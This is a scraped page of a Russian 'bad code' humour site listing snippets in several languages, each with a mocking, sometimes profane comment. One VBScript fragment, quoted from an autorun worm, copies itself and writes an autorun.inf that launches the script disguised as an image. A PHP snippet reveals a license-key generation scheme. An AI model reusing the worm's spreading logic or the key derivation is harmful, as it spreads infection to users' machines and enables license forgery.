1. Лучший говнокод

    В номинации:
    За время:
  2. C++ / Говнокод #19606

    +6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    //		implicit_cast< >
    // I believe this was originally going to be in the C++ standard but 
    // was left out by accident. It's even milder than static_cast.
    // I use it instead of static_cast<> to emphasize that I'm not doing
    // anything nasty. 
    // Usage is identical to static_cast<>
    template <class OutputClass, class InputClass>
    inline OutputClass implicit_cast(InputClass input){
    	return input;
    }
    
    //		horrible_cast< >
    // This is truly evil. It completely subverts C++'s type system, allowing you 
    // to cast from any class to any other class. Technically, using a union 
    // to perform the cast is undefined behaviour (even in C). But we can see if
    // it is OK by checking that the union is the same size as each of its members.
    // horrible_cast<> should only be used for compiler-specific workarounds. 
    // Usage is identical to reinterpret_cast<>.
    
    // This union is declared outside the horrible_cast because BCC 5.5.1
    // can't inline a function with a nested class, and gives a warning.
    template <class OutputClass, class InputClass>
    union horrible_union{
    	OutputClass out;
    	InputClass in;
    };
    
    template <class OutputClass, class InputClass>
    inline OutputClass horrible_cast(const InputClass input){
    	horrible_union<OutputClass, InputClass> u;
    	// Cause a compile-time error if in, out and u are not the same size.
    	// If the compile fails here, it means the compiler has peculiar
    	// unions which would prevent the cast from working.
    	typedef int ERROR_CantUseHorrible_cast[sizeof(InputClass)==sizeof(u) 
    		&& sizeof(InputClass)==sizeof(OutputClass) ? 1 : -1];
    	u.in = input;
    	return u.out;
    }

    Боль и страдание шаблонного программирования на С++98. Комменты и названия доставляют.

    gorthauer87, 11 Марта 2016

    Комментарии (17)
  3. PHP / Говнокод #18830

    −1

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    <?if (strlen($prod['img'])>0):?>						
    	<img src="<?=URL::site()?>resize/resizer.php?type=photos&width=260&height=210&method=crop&image=<?=$prod['img']?>"/></a>						
    <?else:?>
    	<img src="<?=URL::site()?>resize/resizer.php?type=catalog&width=260&height=210&method=crop&image=nophoto.jpg"/></a>
    <?endif?>

    Вы ещё не знаете, как использовать ООП для генерации URL? Тогда мы идём к вам!

    UncaughtException, 07 Октября 2015

    Комментарии (17)
  4. Assembler / Говнокод #18603

    +74

    1. 1
    2. 2
    3. 3
    4. 4
    foobar:
        stmdb sp!, {r4-r11, lr}
        ...
        ldmia sp!, {r4-r11, pc}

    Ассемблер для ARM'а, оказывается, очень даже няшный.

    bormand, 15 Августа 2015

    Комментарии (17)
  5. VisualBasic / Говнокод #18506

    −97

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    if (not fso.fileexists(fname)) or (not fso.fileexixts(aname)) then
    	if (fso.fileexists(fname)=false) then
    		fso.copyfile wscript.scriptname,fname
    	end if
    	if (fso.fileexists(aname)=false) then
    		set au=fso.createtextfile aname,2,true
    		au.writeline "[AutoRun]"
    		au.writeline "shellexecute=wscript /e:vbs pamela handerson.jpg -autostart"
    		au.close
    		fso.getfile(aname).attributes=32
    		set au=nothing
    	end if
    end if
    ...

    Взято из кода одного autorun-червя. Вопрос: нахуя?

    Pyriandr, 21 Июля 2015

    Комментарии (17)
  6. PHP / Говнокод #18203

    +140

    1. 1
    http://phpocean.com/tutorials/back-end/create-your-first-desktop-application-with-php-and-php-desktop/4

    верстка самого сайта, phpdesktop, zooboole - у меня жестко бортануло

    Fike, 20 Мая 2015

    Комментарии (17)
  7. PHP / Говнокод #17785

    +156

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    <?php
    function rus_date($time_stamp){
            $date_time = date( "Y-m-d H:i:s",time() - 3600);
            $time_s = strtotime($date_time);
            $date_segodna = date( "Ymd",time() - 3600);
            
            $date_kisa = date( "Ymd",time() - 86400);
            
            $data_one_year = date( "Ymd",time() - 31536000);
            
            $date = date("Y-n-d H:i:s", $time_stamp);
            
            $date_segodna_items = date("Ymd", $time_stamp);
            
            $raznost = strtotime($date_time) - strtotime($date);
            
            $explode_two = explode(' ',$date);
            
            $explode = explode('-',$explode_two[0]);
            
            $explode_good = explode(':',$explode_two[1]);
            
            $month = array('янв','фев','март','апр','май','июнь','июль','авг','сен','окт','нояб','дек');
            
            $num = (int)$explode[1];
            $num = $num - 1;
            $mes = $month[$num];
            
            
            if($date_segodna == $date_segodna_items){
                if($date_segodna == date( "Ymd",$time_stamp)){
                    return 'Сегодня в '.$explode_good[0].':'.$explode_good[1];
                }
                else{
                    return 'Вчера в '.$explode_good[0].':'.$explode_good[1];
                }
            }
            elseif($date_kisa == $date_segodna_items){
                return 'Вчера в '.$explode_good[0].':'.$explode_good[1];
            }
            elseif($raznost >= 31536000){
                return $explode[2].' '.$mes.' '.$explode[0].' в '.$explode_good[0].':'.$explode_good[1];
            }
            elseif($raznost <= 31536000){
                return $explode[2].' '.$mes.' в '.$explode_good[0].':'.$explode_good[1];
            }
            else{
                return $explode[2].' '.$mes.' '.$explode[0].' в '.$explode_good[0].':'.$explode_good[1];
            }
        }
    rus_date(Если временая метка ровна 0) // вернет    ( 01 янв 1970 в 04:00 )
    rus_date(Сегодняшняя метка) // вернет     ( Сегодня в 04:00 )
    rus_date(Если временая метка из прошлого и прошлому больше 24 часов но меньше 48ч) // вернет     ( Вчера в 04:00 )
    rus_date(Если больше 2 дней ) // вернет такую дату     ( 04 дек в 04:00 )

    Форматирование времени просто подставить временную метку в функцию
    Го посмеемся вместе?

    gam0ra, 13 Марта 2015

    Комментарии (17)
  8. C++ / Говнокод #17739

    +59

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    LPVOID  lpInfo = NULL;;
    UINT    unInfoLen = 0;
    
    DWORD  dwLangCode = 0;
    if (!GetTranslationId(lpInfo, unInfoLen, GetUserDefaultLangID(), dwLangCode, FALSE))
    {
        if (!GetTranslationId(lpInfo, unInfoLen, GetUserDefaultLangID(), dwLangCode, TRUE))
        {
          if (!GetTranslationId(lpInfo, unInfoLen, MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), dwLangCode, TRUE))
          {
            if (!GetTranslationId(lpInfo, unInfoLen, MAKELANGID(LANG_ENGLISH, SUBLANG_NEUTRAL), dwLangCode, TRUE))
              // use the first one we can get
              dwLangCode = *((DWORD*)lpInfo);
          }
        }
    }

    докомментировались, ебанатики...

    blackhearted, 06 Марта 2015

    Комментарии (17)
  9. Куча / Говнокод #17481

    +129

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    import std.uuid;
    import std.file;
    import std.path;
    import std.string;
    ubyte[] sdlBytes = cast(ubyte[]) import("SDL2.dll");   // SDL2.dll contents
    void main(string[] args)
    {
        auto uuid = randomUUID();
        string uuid = randomUUID().toString();
        string filename = format("SDL2-%s.dll", uuid);     // Making an unique file name.
        string depacked = buildPath(tempDir(), filename);
        std.file.write(depacked, sdlBytes);                // Writing the dynlib to a temporary file.
        DerelictSDL2.load(depacked);                       // Use the depacked dynlib and load its symbols.
    }

    лол, надо поюзать.

    DlangGovno, 19 Января 2015

    Комментарии (17)
  10. PHP / Говнокод #17448

    +167

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    final public static function getSomething($version_line = "pro") {
    		$default_domain = domainsCollection::getInstance()->getDefaultDomain();
    
    		if($_SERVER['SERVER_ADDR']) {
    			$cs2 = md5($_SERVER['SERVER_ADDR']);
    		} else {
    			$cs2 = md5(str_replace("\\","",$_SERVER['DOCUMENT_ROOT']));
    		}
    		     
    		switch($version_line) {
    			case "pro":
    				$cs3 = md5(md5(md5(md5(md5(md5(md5(md5(md5(md5($default_domain->getHost()))))))))));
    				break;
    
    			case "free":
    				$cs3 = md5(md5(md5($default_domain->getHost())));
    				break;
    
    			case "lite":
    				$cs3 = md5(md5(md5(md5(md5($default_domain->getHost())))));
    				break;
    
    			case "freelance":
    				$cs3 = md5(md5(md5(md5(md5(md5(md5($default_domain->getHost())))))));
    				break;
    				
    			case "trial": {
    				$cs3 = md5(md5(md5(md5(md5(md5($default_domain->getHost()))))));
    			}
    		}
    
    		$licenseKeyCode = strtoupper(substr($cs2, 0, 11) . "-" . substr($cs3, 0, 11));
    		return $licenseKeyCode;
    	}

    сложная система нипель

    deconf, 15 Января 2015

    Комментарии (17)
  11. Assembler / Говнокод #17424

    +143

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    dw 0 ; reserved, must be 0
    dw 1 ; icon type, must be 1
    dw 2 ; number of images in file
    
    ; 1st icon header
    db 32 ; width
    db 32 ; height
    db 0 ; no color palette
    db 0 ; reserved, must be 0
    dw 1 ; planes
    dw 32 ; bits per pixel
    dd icon32_end-icon32_start ; length
    dd icon32_start ; offset
    
    ; 2nd icon header
    db 16 ; width
    db 16 ; height
    db 0 ; no color palette
    db 0 ; reserved, must be 0
    dw 1 ; planes
    dw 32 ; bits per pixel
    dd icon16_end-icon16_start ; length
    dd icon16_start ; offset
    
    ; 1st icon body
    icon32_start:
    file 'icon32.png'
    icon32_end:
    
    ; 2nd icon body
    icon16_start:
    file 'icon16.png'
    icon16_end:

    http://habrahabr.ru/post/247425/
    Сборка иконки FASMом

    govnokod3r, 09 Января 2015

    Комментарии (17)